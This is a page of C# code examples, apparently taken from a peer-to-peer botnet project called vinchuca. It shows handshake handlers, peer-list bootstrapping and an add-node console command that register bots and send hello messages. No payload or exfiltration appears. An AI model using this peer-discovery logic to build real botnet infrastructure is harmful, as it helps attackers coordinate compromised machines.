예제 #1
0
        public void Handle(BotMessage botMessage)
        {
            var msg      = botMessage.Message as HelloAckMessage;
            var peerInfo = _peerList[botMessage.Header.BotId];

            peerInfo.Handshaked = true;
            peerInfo.BotVersion = msg.BotVersion;
            peerInfo.CfgVersion = msg.CfgVersion;

            //ClientWorker.Instance.QueueOneTime(() =>
            //    _messageManager.Send(new PingMessage(), botMessage.Header.BotId), TimeSpan.FromMinutes(1));

            //_peerList.TryRegister(new PeerInfo(botMessage.Header.BotId, endpoint)))
            //_versionManager.CheckBotVersion(msg.BotVersion, msg.Header.BotId, endpoint);
            //_versionManager.CheckCfgVersion(msg.CfgVersion, msg.Header.BotId, endpoint);

            foreach (var peer in msg.Peers)
            {
                if (_peerList.TryRegister(new PeerInfo(peer.BotId, peer.EndPoint)))
                {
                    var hello = new HelloSynMessage();
                    _messageManager.Send(hello, peer.BotId);
                }
            }
        }
예제 #2
0
 public void Bootstrap(List <PeerInfo> peers)
 {
     Logger.Info("Bootstrapping init.  {0} found endpoints", peers.Count);
     foreach (var peer in peers)
     {
         _peerList.TryRegister(peer);
         var hello = new HelloSynMessage();
         _messagesManager.Send(hello, peer.BotId);
     }
 }
        public void Handle(BotMessage message)
        {
            var msg = message.Message as GetPeerListReplyMessage;

            foreach (var peer in msg.Peers)
            {
                if (_peerList.TryRegister(new PeerInfo(peer.BotId, peer.EndPoint)))
                {
                    var hello = new HelloSynMessage();
                    _messageManager.Send(hello, peer.BotId);
                }
            }
        }
예제 #4
0
파일: Agent.cs 프로젝트: ynx0/vinchuca
        public void Bootstrap(List <PeerInfo> peers = null)
        {
            _peerList.Load();
            if (peers != null)
            {
                foreach (var peer in peers)
                {
                    _peerList.TryRegister(peer);
                }
            }

            Logger.Info("Bootstrapping init.  {0} found endpoints", _peerList.GetPeersEndPoint().Count);
            foreach (var peer in _peerList)
            {
                var hello = new HelloSynMessage();
                _messagesManager.Send(hello, peer.BotId);
            }
        }
예제 #5
0
 public override int Invoke(IEnumerable <string> args)
 {
     try
     {
         var extra = Options.Parse(args);
         if (ShowHelp)
         {
             Options.WriteOptionDescriptions(CommandSet.Out);
             return(0);
         }
         if (extra.Count == 0)
         {
             Console.WriteLine("commands: Missing required argument `endpoint`.");
             Console.WriteLine("commands: Use `help add-node` for details.");
             return(1);
         }
         foreach (var endpoint in extra)
         {
             var endpointParts = endpoint.Split(new[] { ':' });
             var ip            = endpointParts[0];
             var port          = int.Parse(endpointParts[1]);
             var ipendpoint    = new IPEndPoint(IPAddress.Parse(ip), port);
             var peer          = new PeerInfo(BotIdentifier.Unknown, ipendpoint);
             if (_agent.PeerList.TryRegister(peer))
             {
                 var hello = new HelloSynMessage();
                 _agent.MessagesManager.Send(hello, peer.BotId);
             }
         }
         return(0);
     }
     catch (Exception e)
     {
         // _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
         return(1);
     }
 }